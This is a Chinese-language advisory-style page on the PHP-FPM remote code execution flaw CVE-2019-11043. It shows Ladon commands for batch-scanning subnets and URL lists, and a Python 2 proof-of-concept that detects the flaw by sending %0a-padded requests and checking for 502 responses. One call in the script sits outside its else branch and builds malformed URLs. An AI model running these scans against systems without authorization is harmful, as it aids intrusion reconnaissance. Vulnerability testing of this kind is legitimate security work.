漏洞简介

PHP-FPM 远程代码执行漏洞(CVE-2019-11043)

在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。

在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。

Example

和Ladon.exe放在同一目录,即可对C段或url.txt进行批量检测

Ladon CVE-2019-11043_Poc.ini 批量URL检测(根目录下放url.txt)
Ladon 192.168.1.37/24 CVE-2019-11043_Poc.ini 批量检测C段主机是否存在该漏洞
Ladon http://192.168.1.37:8080/index.php CVE-2019-11043_Poc.ini 指定URL
Ladon 5.5
By K8gege
Call AnyExe/Command
http://192.168.1.37:8080/index.php
load F:\Python279\python.exe
ISVUL: CVE-2019-11043 http://192.168.1.37:8080/index.php

import requests
import sys
# Ladon POC by k8gege
# VUL: CVE-2019-11043 (PHP-FPM + Ngnix)
# url need include .php Example：http://192.168.1.37:8080/index.php

# CVE-2019-11043_POC.ini
# [Ladon]
# exe=F:\Python279\python.exe
# arg=POC\CVE-2019-11043-POC.py $ip$

# Example
# Ladon 192.168.1.37/24 poc/CVE-2019-11043_Poc.ini
# Ladon http://192.168.1.37:8080/index.php poc/CVE-2019-11043_Poc.ini

# Result
# Ladon 5.5
# Call AnyExe/Command
# http://192.168.1.37:8080/index.php
# load F:\Python279\python.exe
# ISVUL: CVE-2019-11043 http://192.168.1.37:8080/index.php

def checkpoc(url):
	try:
		headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0"}
		res1 = requests.get(url, headers=headers)
		if res1.status_code == 200:
			print "URL: "+url
			for i in range(1499, 1900):
				res = requests.get(url + "/PHP%0Ais_poc_thistiest_lang.php?" + "K" * i, headers=headers)
				if res.status_code == 502:
					print("ISVUL: CVE-2019-11043 "+url)
					break
	except:
	  pass

url = sys.argv[1]
if "http" in url:
	checkpoc(url)
else:
	checkpoc("http://"+url+"/index.php")
	checkpoc("http://"+url+":8080/index.php")
checkpoc("https://"+url+"/index.php")

下载

Poc: https://github.com/k8gege/CVE-2019-11043
Ladon: https://github.com/k8gege/Ladon

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